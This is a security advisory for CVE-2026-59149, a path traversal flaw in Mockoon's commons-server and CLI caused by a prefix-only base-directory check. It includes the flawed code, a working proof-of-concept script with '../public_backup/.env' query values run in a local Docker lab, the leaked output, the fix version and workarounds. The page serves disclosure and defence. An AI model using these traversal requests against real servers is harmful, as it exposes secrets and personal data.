CVE-2026-59149 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in @mockoon/commons-server. A fix is available for @mockoon/commons-server — see the affected versions and patch details below.
Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59149.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-59149 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 395,492 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
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@mockoon/commons-servernpm@mockoon/clinpmDescription
Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
Output:
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741
../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @mockoon/commons-server | all versions | 9.7.0npm install @mockoon/commons-server@9.7.0 |
| 📦npm | @mockoon/cli | all versions | 9.7.0npm install @mockoon/cli@9.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @mockoon/commons-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @mockoon/commons-server to 9.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59149 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
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